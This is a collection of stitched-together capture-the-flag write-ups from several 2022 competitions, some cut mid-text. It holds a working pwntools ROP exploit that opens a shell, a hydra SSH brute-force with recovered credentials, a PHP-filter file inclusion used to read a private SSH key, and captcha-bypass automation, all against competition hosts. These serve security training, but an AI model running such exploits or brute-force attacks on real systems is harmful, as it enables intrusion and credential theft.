`write` requires 3 arguments, FD (`rdi`), buffer address (`rsi`), and length (`rdx`). All three are set by the previous `read` call. Basically we're just going to write `0x60` bytes starting at the `read` buffer. This will leak the location of `_dl_start_user+50` and we can use that to leak libc.
> _But `rdi` is `0` not `1`, isn't `0` `stdin`?_> > Yes it is, but these are just conventions. From your shell type `echo nothing >&0`, see, you got `nothing`, which is actually _something_.
With the leak and a second pass, we can just write out a simple ROP chain to get a shell.
## Exploit Development Environment
From the included `Dockerfile`:
```dockerfileFROM ubuntu:18.04```
I just used an Ubuntu 18.04 Docker image for exploit development.
## Exploit
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./cooldown', checksec=False)
if args.REMOTE: p = remote('141.164.48.191', 10005) libc = ELF('./libc.so.6', checksec=False)else: s = process('socat TCP-LISTEN:9999,reuseaddr,fork EXEC:./cooldown,pty,setsid,sigint,sane,rawer'.split()) p = remote('127.0.0.1', 9999) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)```
pwntools header.
> I'm using `socat` vs. `process(binary.path)` since pwntools `process` does not deal well with output being written to FD `0`. I do not know of an easy way to fix this with pwntools so I just start up `socat` and then connect to that.
```pythonpayload = b''payload += 56 * b'A'payload += p64(binary.plt.write)
p.sendafter(b'> ',payload)p.recv(len(payload))```
As mentioned in the Analysis section, we're just going to send `56` bytes to get to the return address and then overwrite that with a call to `write` from the PLT.
Then we just need to receive our payload, ignore it and move on.
```python'''stack:0x00007fffffffe448│+0x0040: 0x00007ffff7dd40ca → <_dl_start_user+50> lea rdx, [rip+0xfa6f] # 0x7ffff7de3b40 <_dl_fini>
vmmap:0x00007ffff79e2000 0x00007ffff7bc9000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7bc9000 0x00007ffff7dc9000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7dc9000 0x00007ffff7dcd000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7dcd000 0x00007ffff7dcf000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so0x00007ffff7dcf000 0x00007ffff7dd3000 0x0000000000000000 rw-0x00007ffff7dd3000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so'''
libc.address = u64(p.recv(8)) - (0x00007ffff7dd40ca - 0x00007ffff79e2000)log.info('libc.address: {x}'.format(x = hex(libc.address)))```
The next 8 bytes will be the location of `_dl_start_user+50`. The comment section above is my GDB stack and vmmap info. We just need to compute the difference from the GDB stack leak to the base of [vmmap] libc and then subtract that constant from our remote leak (`u64(p.recv(8))`)
```pythonpop_rdi = libc.search(asm('pop rdi; ret')).__next__()
payload = b''payload += 56 * b'A'payload += p64(pop_rdi)payload += p64(libc.search(b'/bin/sh').__next__())payload += p64(libc.sym.system)
assert(len(payload) <= 0x60)
p.sendafter(b'> ',payload)p.interactive()```
Finally your everyday ROP chain given you have a libc leak.
Output (warmup):
```bash# ./exploit.py REMOTE=1[+] Opening connection to 141.164.48.191 on port 10001: Done[*] libc.address: 0x7f7306204000[*] Switching to interactive mode$ cat flaghsctf{0rigin4l_inpu7_1eng7h_w4s_0x60}```
Output (cooldown):
```bash# ./exploit.py REMOTE=1[+] Opening connection to 141.164.48.191 on port 10005: Done[*] libc.address: 0x7f94b44b0000[*] Switching to interactive mode$ cat flaghsctf{ACB31ABDE038159C3D7949CFC01CE100}``` |
easy_register: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ba448db2793d54d5ef48046ff85490b3b875831c, for GNU/Linux 3.2.0, not stripped
checksec --file easy_register Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments NX disabled so we can write shellcode to the buffer, then overflow the return address with the leaked buffer address.
Full video walkthrough: [HERE](https://youtu.be/790lGRdyXaE) |
## Question
Fred is trying to learn how to deal with dragons. Can you help him out?
[dragonpit](https://github.com/tj-oconnor/ctf-writeups/blob/main/umdctf/dragonplt/dragonPit)
## Solution
We are given a binary that has been compiled to run only with GLIBC version 2.34
```./dragonPit./dragonPit: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./dragonPit)```
Rather than patch it, I chose to solve this one symbolically. We see it takes input from stdin and then compares that input at ```0x1312```. When the user inputs incorrect input, the binary input jumps to ```0x13a4```.
```00001312 e8b9fdffff call strcmp00001317 85c0 test eax, eax00001319 0f8585000000 jne 0x13a4```
On correct input, the program prints out the flag using a format string. We see below that ```RSI``` will hold the parameter containing the flag.
```....00001384 488d45c0 lea rax, [rbp-0x40 {var_48}]00001388 4889c6 mov rsi, rax {var_48}0000138b 488d05a20c0000 lea rax, [rel data_2034] {"%.20s\n"}00001392 4889c7 mov rdi, rax {data_2034, "%.20s\n"}00001395 b800000000 mov eax, 0x00000139a e811fdffff call printf0000139f e9ce000000 jmp 0x1472```
We then wrote a simple script to use angr to symbolically solve for the correct input, stopping at the ```printf``` call at ```0x139a```. We will then print the character array pointed to by the RSI register.
```pythonfrom pwn import *import angrimport logging
logging.getLogger('angr').setLevel(logging.CRITICAL)logging.getLogger('pwnlib').setLevel(logging.CRITICAL)
e = context.binary = ELF("./dragonpit")
MAIN = e.sym['main']BAD = 0x13a4 GOOD = 0x139a
p = angr.Project(e.file.name,load_options={'main_opts': {'base_addr': 0}})s = p.factory.blank_state(addr=MAIN, add_options={angr.sim_options.SYMBOL_FILL_UNCONSTRAINED_REGISTERS})
sim = p.factory.simgr(s)sim.explore(find=GOOD, avoid=BAD)
flag = b''for i in range(0,20): flag += b''+sim.found[0].mem[sim.found[0].regs.rsi+i].char.concrete
print('\n[+] Flag: %s' %flag)```
Running the program yields our flag.
``` python3 re-dragonpit.py
[+] Flag: b'UMDCTF{BluSt0l3dr4g}'``` |
<h1>Jumble<h1>
<h3>My friend Saif from Saudi Arabia has started his CS course. Being a fan of cryptography, he tries to apply everything taught in his courses to enccrypt stuffs. Recently, he sent me this script and a ciphertext. Can you find out what he wants to say?</h3>
<h4> We have the following code<h4><h4> and the following ciphertext </h4>
0un5hfz02zq=ntvb0=rzfmsx
<h4> we do the inverse process and get the flag </h4><h4> flag is: KCTF{y0u_g0t_m3} </h4> |
In this challenge, we are dealing with an Android application implementing a Webview vulnerable to XSS. This application also has a native library exposing methods vulnerable to overflow (stack, heap etc.) To perform this exploit, we have to use the XSS to call the vulnerable functions of the native library. However, one of them is protected by a password that we will have to retrieve dynamically. |
[Original writeup source](https://barelycompetent.dev/post/ctfs/2022-03-13-utctf/#public-panic-p2)
---
Continuing on from Public Panic PT1, we know the following Twitter web (by inspecting+following the original team's followers and links):
* [Neil Cline](https://twitter.com/NeilCline9)* [Britt Bryant](https://twitter.com/BrittBryant18)* [Robyn Swanson](https://twitter.com/RobynSwanson96)* [Sherman Kern](https://twitter.com/kern_sherman)* [Craig Wallace](https://twitter.com/CraigWa09526548)* [Wade Coldwater](https://twitter.com/WadeColdwater)* [Claude Castillo](https://twitter.com/ClaudeCastill18)* [Sidney Jaggers](https://twitter.com/JaggersSidney)* [Misty Booker](https://twitter.com/MistyBooker99)* [Debby Uselton](https://twitter.com/DebbyUselton)* [Cliff Shackleford](https://twitter.com/CliffShacklefo1)
From the challenge prompt, we have a new target, which "we're allowed to enumerate". Let's do so:
```textnmap -sV misc2.utctf.live -p 8622 DesktopStarting Nmap 7.92 ( https://nmap.org ) at 2022-03-13 12:53 EDTNmap scan report for misc2.utctf.live (18.205.162.101)Host is up (0.025s latency).rDNS record for 18.205.162.101: ec2-18-205-162-101.compute-1.amazonaws.com
PORT STATE SERVICE VERSION8622/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds```
So it looks like we need to find SSH creds to log on to this server at port 8622. From the list of twitter accounts above, it happens that in the same tweet/image from the first problem, we also see what looks to be a potential SSH password:

In item 2, "defaultpw5678!" looks like our SSH password. All that's left is to figure out what username to use. This is the part of the challenge that took me the longest. I manually tried various combinations of twitter handles/names/etc. After about 30 minutes, I got sick of that and started making a list of permutations that I would throw at the service with `hydra` (the brute forcing SSH tool).
I asked the challenge author first if this was OK, and they said "Have at it! Feel free to use a script or hydra against this one.". So hydra it is:)
After failing to crack the login with my intial list of usernames based on twitter handles, I tried various combinations of FirstnameLastname, LastnameFirstname, FirstnameLastname(3 chars), etc. None of which worked. After a few hours and suggestions of the author, "common username conventions might help", I decided to look into more standard unix username conventions.
[One of the first Google hits](https://serverfault.com/questions/348912/best-practices-in-username-standards-avoiding-problems) seemed to mention that **{firstInitial}{lastname}** was the way.
Using this convention with the list of users above yields the following account list:
```textwcoldwaterccastillocshacklefordduseltonsjaggersmbookernclineskernrswansonbbryantcwallace```
... which we can then feed to hydra with our password, to brute force the service:
```bashhydra -t 2 -L accounts.txt -p defaultpw5678! ssh://misc2.utctf.live:8622Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-03-13 13:02:32[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore[DATA] max 2 tasks per 1 server, overall 2 tasks, 11 login tries (l:11/p:1), ~6 tries per task[DATA] attacking ssh://misc2.utctf.live:8622/[8622][ssh] host: misc2.utctf.live login: cshackleford password: defaultpw5678!1 of 1 target successfully completed, 1 valid password foundHydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-03-13 13:03:15```
Boom, we have the login! `[8622][ssh] host: misc2.utctf.live login: cshackleford password: defaultpw5678!` tells us we can login with `cshackleford` and the password.
Doing so gets us the flag:
```bashssh -p 8622 [email protected][email protected]'s password:# ...cshackleford@3e64db1cbff7:~$ cat flag.txtutflag{conventions_knowledge_for_the_win}```
Flag is `utflag{conventions_knowledge_for_the_win}`.
_(Shoutout to Rob H., the challenge creator, for being a standup person and not being a total dick when you ask them something, really appreciate it)_. |
More detailed writeup: [https://ubcctf.github.io/2022/03/utctf-cheating-battleship/](https://ubcctf.github.io/2022/03/utctf-cheating-battleship/)# SummaryThe client sends a packet to the server right as you place your last ship. This packet contains the coordinates of your ships which the AI uses to cheat. You can intercept and replace this packet to provide bogus positions and make the AI miss. Then proceed to play Battleships normally and when you win you’ll get the flag. |
[Source writeup](https://barelycompetent.dev/post/ctfs/2022-03-13-utctf/#login-as-admin-pt-3)
---
Note: These writeups are purposefully short. Each problem had a hint that made the problem trivial to solve.
Again, we know the credentials are `admin:admin`. However, this time, upon sending those creds, we get a 400 bad request error.
Inspecting the given source code (`app.py`):
```pythonfrom flask import *app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])def login(): if request.method == 'POST': if request.form['username'] == "admin" and request.form['pwd'] == "admin" and request.form['isAdmin'] == "True": with open('flag.txt', 'r') as file: flag = file.read() return make_response("Hello Admin! The flag is " + flag), 200 else: return render_template('index.html', loginFailed=True) else: return render_template('index.html')
if __name__ == '__main__': app.run(host='0.0.0.0')```
We see on line 7 that the site is expecting isAdmin to be set as a form field:
```if request.form['username'] == "admin" and request.form['pwd'] == "admin" and request.form['isAdmin'] == "True":```
By default, the `isAdmin` value is a cookie, and we are only sending `username` and `pwd` in the form data. Adding `&isAdmin=True` to the POST data (by intercepting the request with say burpproxy), you get the flag.
|
## How to Solve We got an executable file called "jump".First step, open it in ghidra.You can see the main function, but no function to show the flag is here. So, in this challenge, you need to call the get_flag function.
Second step, debug jump with GDB.You know the size of the local_78 variable has 112 characters. Now, see what happens if the size of input character has over 120 characters. (Tips: if an executable file is for 64-bit, you need to add 8 to variable for which you want to generate a buffer overflow.)
You can see a string "segmentation fault", and it shows the possibility of getting the RIP register. which is for next command. 126 characters is below.No captcha required for preview. Please, do not write just a link to original writeup here.
Now, you obtain RIP register. (0x414141414141 means "AAAAAA")You need to set an address of the get_flag function to RIP register when you get it. (get_flag is at 0x0000004011ab)Third step, do it like picture below. 
The cat command is used to display the contents of a file, however it is also used to input something using the nc command. In this case, use like "cat filename -".
Then, you will get shell. I used ls command to see what files are in this directory. Finally, you will get the flag. |
[Original writeup source](https://barelycompetent.dev/post/ctfs/2022-03-13-utctf/#sounds-familiar).
---
Attached is a single file, sounds_strange.wav. Listening to the audio in Audacity, it very clearly sounds like the beeps a phone makes when it is dialed.

This is not really a new concept; many CTFs have had a similar sort of challenge, so the trick on this one I had was figuring out what to do once you had the dialed digits.
To get the list of numbers, all you need is a DTMF tone detector/capturer. For this, I used [this new online site that I haven’t seen or used before by unframework](https://unframework.github.io/dtmf-detect/#/) (I previously used linux-dtmf which had also worked well). The online site was accurate and really nice, though I wish the numbers stayed on the screen after it’s been fully decoded (you had to be quick to copy+paste the final result, otherwise it clears itself after a few seconds).
Running the .wav file in that site yields the following digits:
```100888210610071905578878610699109864888508912081681081029071571029810957488812286111817274108102816161```
At first, I couldn’t figure out what these were, since the full set of digits didn’t really make any sort of sense when decoded using anything I tried.
After a while, I realized they were punching the digits in in groups separated by silence, and thought about splitting the digits based on input (visible in the audacity pic above). Doing so yields a set of numbers that look suspiciously like a valid set of ASCII values:
```100 88 82 106 100 71 90 55 78 87 86 106 99 109 86 48 88 50 89 120 81 68 108 102 90 71 57 102 98 109 57 48 88 122 86 111 81 72 74 108 102 81 61 61```
[Converting these to ASCII yields a base64 string, which when decoded, gives the flag.](https://discord.com/channels/824804925800316929/952001668373970954/952358801267384360)
Or, without CyberChef:
```for digit in 100 88 82 106 100 71 90 55 78 87 86 106 99 109 86 48 88 50 89 120 81 68 108 102 90 71 57 102 98 109 57 48 88 122 86 111 81 72 74 108 102 81 61 61; do printf \\$(printf '%03o' $digit); done | base64 -dutctf{5ecret_f1@9_do_not_5h@re}```
Flag is utctf{5ecret_f1@9_do_not_5h@re}. |
# [UTCTF 2022] ReReCaptchaAuthor: [JJ](https://j-james.me/)
## Problem Description
### ReReCaptcha
- Solves: 25- Score: 1000 -> 988- Tags: web
Author: ggu ([UT ISSS](https://www.isss.io/))
Just solve 1000 captchas. It's super easy.
## Beginning Steps
[Ron Howard (voiceover): It wasn't.]
Testing out our manual captcha-solving skills on the website, the first thing we all noticed was that although the captchas changed, they all were composed of text layered onto a consistent background. If we could somehow extract this background, we could extract much more readable text from the recaptchas.

So, I grabbed a bunch of captchas from the website, erased the text parts, and layered them on top of each other in GIMP. This gave us an almost complete background image. Unfortunately, since every captcha word starts at the exact same alignment, there were a few missing pixels in the upper left. I filled these in manually with a best-guess of what color would be there.

We could have gotten a more precise background by inverting whatever operation was used to apply the text (suspected to be a simple XOR), but as it would turn out later, we didn't actually need to be all that accurate.
## Solving Captchas
This turned out to be surprisingly simple. [pillow](https://python-pillow.org/) (the Python image library) makes working with images a breeze. I just had to look up [a quick iteration tutorial](https://predictivehacks.com/iterate-over-image-pixels/) for `Images`, which also happened to go over the `getpixel()` and `putpixel()` methods I needed.
OCR was similarly straightforward. We just needed something that could read text from a high-contrast image. [PyTesseract](https://github.com/madmaze/pytesseract) looked like it'd do the trick - and indeed, right there in the README were examples of it working with PIL images. Perfect.
```pythonfrom PIL import Imageimport pytesseract as pyt
background = Image.open("background.png")captcha = Image.open("captcha.png")
# convert a captcha to white text on a black backgrounddef clean(background, captcha): new = captcha for x in range(background.width): for y in range(background.height): if background.getpixel((x,y)) == captcha.getpixel((x,y)): new.putpixel((x,y), 0) else: new.putpixel((x,y), (255,255,255)) return new
captcha.show()print(pyt.image_to_string(clean(background, captcha)).strip('\n'))```
I iterated through the captcha image and compared each pixel to the extracted background - if they matched, setting the pixel to black, and if they didn't match, setting the pixel to white. This gave us a remarkably clear image:

Unfortunately, this wasn't good enough, at first. The cleaned image was still too messy.
Adding a few more layers of cut-out-captchas to the background solved this.

## Web Time
Now that our OCR was reading captchas ~~reliably~~ ~~fairly reliably~~ occasionally, we had to tackle the web part of the challenge. This was much more difficult and what we ended up spending the majority of our time on.
### Analyzing ReReCaptcha's Design
ReReCaptcha stores the current solve count locally in an encrypted cookie. When you make a request to the ReReCaptcha server with your guess, you must send over both the guess and your session cookie. The cookie is encrypted server-side and didn't appear to contain any metadata about the captcha solve count.
```pythonfrom PIL import Imageimport pytesseract as pytimport requests as rqfrom io import BytesIOfrom bs4 import BeautifulSoupfrom base64 import b64decode
...
def get_status(html: str) -> str: soup = BeautifulSoup(html, "html.parser") return soup.find("p")
def get_image(html: str): soup = BeautifulSoup(html, "html.parser") base64 = soup.find("img")["src"][23:] byteimage = BytesIO(b64decode(base64)) return byteimage
# initial requestrequest = rq.post("http://web1.utctf.live:7132")
cookies = request.cookiescaptcha = Image.open(get_image(request.text))guess = pyt.image_to_string(clean(background, captcha)).strip('\n')print("OCR says:", guess)
data = { 'solution': guess }request = rq.post("http://web1.utctf.live:7132", cookies=cookies, data=data)```
On top of that, every cookie is tied to a specific image - so even though you can save the session cookie and retry if your guess fails, you still have to retry against the same image. This presented a problem for our OCR reader, because it was unreliable to the point of failing every other time, and we weren't about to have someone manually solve ~500 captchas.
```OCR says: BwmiBWYou have solved 1 captchas in a row correctly!captcha: successOCR says: IVgLhVYou have solved 2 captchas in a row correctly!captcha: successOCR says: bQewZ0OYou have solved 0 captchas in a row correctly!captcha: fail, rerequesting for new captchaOCR says: IVgLhVYou have solved 0 captchas in a row correctly!captcha: fail, rerequesting for new captchaOCR says: IVgLhV----------^^^^^^---------- looping```
You have solved 1 captchas in a row correctly!
You have solved 2 captchas in a row correctly!
You have solved 0 captchas in a row correctly!
You have solved 0 captchas in a row correctly!
### The Trick
So solve count cookies are tied to images, which means automatically retrying failed captchas isn't going to be productive, if we're just retrying the same image over and over. But - what happens if instead of making another request with the current cookie, you retry your last successful request with the previous cookie and previous captcha?
As it turns out, you get a **different new image** every time you successfully solve a captcha.
Perfect! Now, as long as we store our last-working cookie and captcha, we can make as many different reguesses on as many different images as we need - without loosing our previous progress!
```python...
# set known good values for lastdata and lastcookies so the program doesn't looplastcookies = {'session': 'u.t0dL7PW/308b0IS+q293b5xDoxBikB1honNSFKXXI3bDHlw=.3kx8Fie0+nm1/0gclmGQtw==.x5/rxvX2y0iOJovic9dx7w=='}lastdata = {'solution': 'X7p8TS'}cookies, data = {}, {}
# initial requestrequest = rq.post("http://web1.utctf.live:7132")
solves = 0while solves < 999: cookies = request.cookies captcha = Image.open(get_image(request.text)) guess = pyt.image_to_string(clean(background, captcha)).strip('\n') print("OCR says:", guess)
data = { 'solution': guess } request = rq.post("http://web1.utctf.live:7132", cookies=cookies, data=data)
if ("solved 0 captchas" in request.text): print("captcha: fail, rerequesting for new captcha") # this request should always succeed request = rq.post("http://web1.utctf.live:7132", cookies=lastcookies, data=lastdata)
else: print("captcha: success") print(get_status(request.text)) solves += 1 # save the data for rerequesting an image if the next guess fails lastdata = data lastcookies = cookies
print(cookies)print(data)
final_request = rq.post("http://web1.utctf.live:7132", cookies=cookies, data=data)print(final_request.text)```
### Running the Script
All that was left was to run our solve script, back up our cookies + data, and hope nothing would go wrong.

Flag: `utflag{skibidi_bop_mm_dada_uLG7Jrd5hP}`
## Final Script
```pythonfrom PIL import Imageimport pytesseract as pytimport requests as rqfrom io import BytesIOfrom bs4 import BeautifulSoupfrom base64 import b64decode
background = Image.open("background.png")
# convert a captcha to white text on a black backgrounddef clean(background, captcha): new = captcha for x in range(background.width): for y in range(background.height): if background.getpixel((x,y)) == captcha.getpixel((x,y)): new.putpixel((x,y), 0) else: new.putpixel((x,y), (255,255,255)) return new
def get_status(html: str) -> str: soup = BeautifulSoup(html, "html.parser") return soup.find("p")
def get_image(html: str): soup = BeautifulSoup(html, "html.parser") base64 = soup.find("img")["src"][23:] byteimage = BytesIO(b64decode(base64)) return byteimage
# set known good values for lastdata and lastcookies so the program doesn't looplastcookies = {'session': 'u.t0dL7PW/308b0IS+q293b5xDoxBikB1honNSFKXXI3bDHlw=.3kx8Fie0+nm1/0gclmGQtw==.x5/rxvX2y0iOJovic9dx7w=='}lastdata = {'solution': 'X7p8TS'}cookies, data = {}, {}
# initial requestrequest = rq.post("http://web1.utctf.live:7132")
solves = 0while solves < 999: cookies = request.cookies captcha = Image.open(get_image(request.text)) guess = pyt.image_to_string(clean(background, captcha)).strip('\n') print("OCR says:", guess)
data = { 'solution': guess } request = rq.post("http://web1.utctf.live:7132", cookies=cookies, data=data)
if ("solved 0 captchas" in request.text): print("captcha: fail, rerequesting for new captcha") # this request should always succeed request = rq.post("http://web1.utctf.live:7132", cookies=lastcookies, data=lastdata)
else: print("captcha: success") print(get_status(request.text)) solves += 1 # save the data for rerequesting an image if the next guess fails lastdata = data lastcookies = cookies
print(cookies)print(data)
final_request = rq.post("http://web1.utctf.live:7132", cookies=cookies, data=data)print(final_request.text)```
## Ending Thoughts
I had a lot of fun with this challenge. It was a nice blend of misc and web, and also did a good job of simulating a real-world scenario. Finally getting the cookie rerequesting working and seeing the captcha solve numbers slowly tick up was extremely satisfying.
OCR with PyTesseract ended up having about a 50% success rate. This was high enough, but it likely could have been improved by making a more accurate background, by way of XOR mentioned earlier.
Our solve script finished in 1.5 hours, with an average of about 4.5 seconds / image. |
# Nmap
```bashStarting Nmap 7.92 ( https://nmap.org ) at 2022-03-12 12:51 EST Nmap scan report for challs.dvc.tf (138.68.106.171) Host is up (0.0060s latency). Not shown: 1000 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 51022/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 61:94:04:6e:f3:e6:22:f1:74:2b:f3:d2:62:82:bb:f1 (RSA) | 256 69:6b:8f:f8:49:b1:a6:1d:87:64:a0:bc:4f:c8:77:d7 (ECDSA) |_ 256 1c:25:bf:62:06:89:a1:f1:ac:99:25:d9:96:9c:f8:de (ED25519) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: bridge|VoIP phone|general purpose|WAP|broadband router|specialized Running (JUST GUESSING): Oracle Virtualbox (92%), Cisco embedded (89%), Linux 1.0.X (88%), QEMU (88%), Sitecom embedded (87%), ZyXEL embedded (87%), Casio embedded (87%), GNU Hurd (85%) OS CPE: cpe:/o:oracle:virtualbox cpe:/h:cisco:unified_ip_phone_7912 cpe:/o:linux:linux_kernel:1.0.9 cpe:/a:qemu:qemu cpe:/h:sitecom:wl-174 cpe:/h:zyxel:b-3000 cpe:/h:zyxel:prestige_660r cpe:/o:gnu:hurd Aggressive OS guesses: Oracle Virtualbox (92%), Cisco IP Phone 7912-series (89%), Linux 1.0.9 (88%), QEMU user mode network gateway (88%), Sitecom WL-174 wireless ADSL router or ZyXEL B-3000 WAP (87%), ZyXEL Prestige 660R ADSL router (87%), Casio QT-6000 or QT-6100 point-of-sale machine (87%), GNU Hurd 0.3 (85%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 1.40 ms 10.0.2.2 2 1.42 ms 138.68.106.171
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 26.95 seconds```
There is `ssh` service running.
# Website
Website contained some sort of Top Song list, and used two `GET` parameters to filter it.

When changing parameter `playlistTop` to something nonexistent like `asdf` server returned error.

Using `php://filter/convert.bse64-encode/resource=` local file inclusion was performed.


This allowed to read `leonardo` user `private ssh` key.

# SSH Connection
Using all obtained information login as user `leonardo` via SSH was possible |
# Binomial Ways
We are given the following code:```pythonfrom secret import flagval = []flag_length = len(flag)print(flag_length)
def factorial(n): f = 1 for i in range(2, n+1): f *= i return f
def series(A, X, n): nFact = factorial(n) for i in range(0, n + 1): niFact = factorial(n - i) iFact = factorial(i) aPow = pow(A, n - i) xPow = pow(X, i) val.append(int((nFact * aPow * xPow) / (niFact * iFact)))
A = 1; X = 1; n = 30series(A, X, n)ct = []for i in range(len(flag)): ct.append(chr(ord(flag[i])+val[i]%26))print(''.join(ct))````series` function all the time generates the same sequence of numbers. For each flag char position it has different number. It acts like Stream crypter.
And the output file:```3127F;VPbAs>clu}={9ln=_o1{0n5tp~```
It's pretty obvious how to decrypt the message, by simply replacing `ct.append(chr(ord(flag[i])+val[i]%26))` to `ct.append(chr(ord(flag[i])-val[i]%26))`.After first decryption we get:```301337UPUAf>Vlh{(o$ja=Ro${#n4p]z```we can crealy see that the encrypter flag was shorter by one char, and the result did no mached flag pattern `1337UP{}`. So we need to add one extra char in correct place. we can see that `1337UP` decrypter correctly.
We need to modify encrypted flag from `27F;VPbAs>clu}={9ln=_o1{0n5tp~` to `27F;VP@bAs>clu}={9ln=_o1{0n5tp~`, I added `@` just after `1337UP`.
After second decryption we get:```311337UP3b4s1c_sh1f7_n0_b1n0m1al}```Almost valid flag, at this pint we can simply assume that `3` is `{` and patch the decrypted flag manually.
The final flag `1337UP{b4s1c_sh1f7_n0_b1n0m1al}` |
# 1337UP CTF 2022 Blink's SecretThe challenge is the following,
Two files are given in this challenge, which are [note.txt](./note.txt) and [meme.jpeg](./meme.jpeg).
[note.txt](./note.txt) shows the following text:
```Aftera big fire accident in mr.Blinking man’s house, we managed to collect a note with a meme with his own image on it. The note says as follows:
Imissed a secret which was posted on his social media. I want to find that secret but I don't know where it is. I have some hints regarding where the secret is..
The user name is 15 letters long
Theuser name comprises of my name and zip code of my current residence
FormatName_zipcode
Ifthe name is thomas mueller then write the name as ThomasMueller```
And [meme.jpeg](./meme.jpeg) shows the following image:

From [note.txt](./note.txt), we can see that the man in [meme.jpeg](./meme.jpeg) is the missing person as it mentions `a meme with his own image on it`.
By doing a Google Reverse Image search of [meme.jpeg](./meme.jpeg), the name of the meme comes up, which is "First Guy To meme". Results from [Know Your Meme](https://knowyourmeme.com/editorials/collections/drew-scanlon-reaction-comes-back-in-first-guy-to-memes) shows us the name of the man in the meme, which is Drew Scanlon. Therefore, the missing man's name is `Drew Scanlon`.

Also from [note.txt](./note.txt), we know that the username is 15 letters long and has the form `Name_zipcode`, so we know the username would look something like `DrewScanlon_XXX`.
We now have his name, so we can try to find his area of residence on Google. I searched up `drew scanlon area of residence` and [this website came up](https://sfist.com/2017/02/23/san_francisco_white_guy_becomes_mem/).

From this, we can see that Drew Scanlon lives in San Francisco.
I wasn't too familiar with the zip code system in the US, and doing a quick Google search revealed that it had a 5-digit convention. However, the username can only be 15 letters long, and `DrewScanlon` already occupies 12 letters, so this meant that the zip code can only be 3 digits long.
By looking up the zip code of San Francisco, we can see that they are all 5 digits long.

However, all these zip codes had `941` in common, so I assumed this first 3 digits of the zip code will be used in the username. Therefore, I guessed the username would be `DrewScanlon_941`. Searching up this name on Twitter will reveal [this account](https://twitter.com/DrewScanlon_941),

Drew Scanlon has posted "Wait What happened to my previous tweets??", which hints to a deleted tweet.
To see deleted tweets, [Internet Archive Wayback Machine](https://archive.org/web/) could be used. So I inputted [Drew Scanlon's twitter link on the Wayback Machine](http://web.archive.org/web/20220205061333/https://twitter.com/DrewScanlon_941), which revealed that there was a capture on Feburary 5, 2022 and showed the following tweet:

The deleted tweet was```Wow!! What a wonderful day !!! І wish I could eхtend this day asmuch as possible...```This mixture of full width and half width characters looked pretty suspicious and assumed this was some kind of steganography. However, I wasn't too sure what steganography it was using, so I decided to investigate the Unicode types first using [Babel Stone](https://www.babelstone.co.uk/Unicode/whatisit.html)

I tried looking up `half width and full width characters steganography` but nothing useful came up. So I searched `twitter steganography` and [this website](https://holloway.nz/steg/) came up.

I inputted the deleted tweet to the Twitter Secret Messages decoder, and got the flag, which was `flcgy0u_f0und_7p3_q:u` |
This is the UTCTF 2022 challenge “Sounds Familiar”. Overall, this was a fun challenge and was not what I was expecting at first.Upon opening the challenge, we are greeted with the following clue and a wav file to download:
I downloaded and played the file and immediately recognized it as the DTMF from a phone keypad. For starters, I wanted to see if there was any files hiding within this file and tried out one of my favorite online steganography decoders: [Futureboy.us/stegano/decinput.html](https://futureboy.us/stegano/decinput.html) however this did not yield any results.
Next, I used the following DTMF decoder [https://github.com/ribt/dtmf-decoder](https://github.com/ribt/dtmf-decoder) and utilized the verbose option like this:
> $ dtmf -v /home/kali/Downloads/super_strange.wav
And I was quickly presented with the following output:

This provides a fairly clean output that corresponds to the timing of the key presses and made it easy to group together the digits. After ignoring the random non-digit characters, I got the resulting string: 100 88 82 106 100 71 90 55 78 87 86 106 99 109 86 48 88 50 89 120 81 68 108 102 90 71 57 102 98 109 57 48 88 122 86 111 81 72 74 108 102 81 61 61.
My first thought was to directly take the letters associated with the key presses, but realized the 1 and 0 don’t correspond to any letters and trying to decipher would need to do something like T9. I didn’t think this was the correct route, so I decided to put it aside if something else didn’t work.
I noticed that the string looked to be in Decimal encoding, so I took that string of digits and went to CyberChef (https://gchq.github.io/CyberChef/) and pasted it into the input field and decided to check out the “Magic” function. This presented me with the output showing that it was first needing to be decoded “From Decimal” and then decoded again “From Base64”.

Overall, not a difficult challenge, but it was fun! |
# UTCTF 2022
## AAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>> By Tristan (@trab on discord)> > `nc pwn.utctf.live 5000`>> [`AAAAAAAAAAAAAAAA`](AAAAAAAAAAAAAAAA)
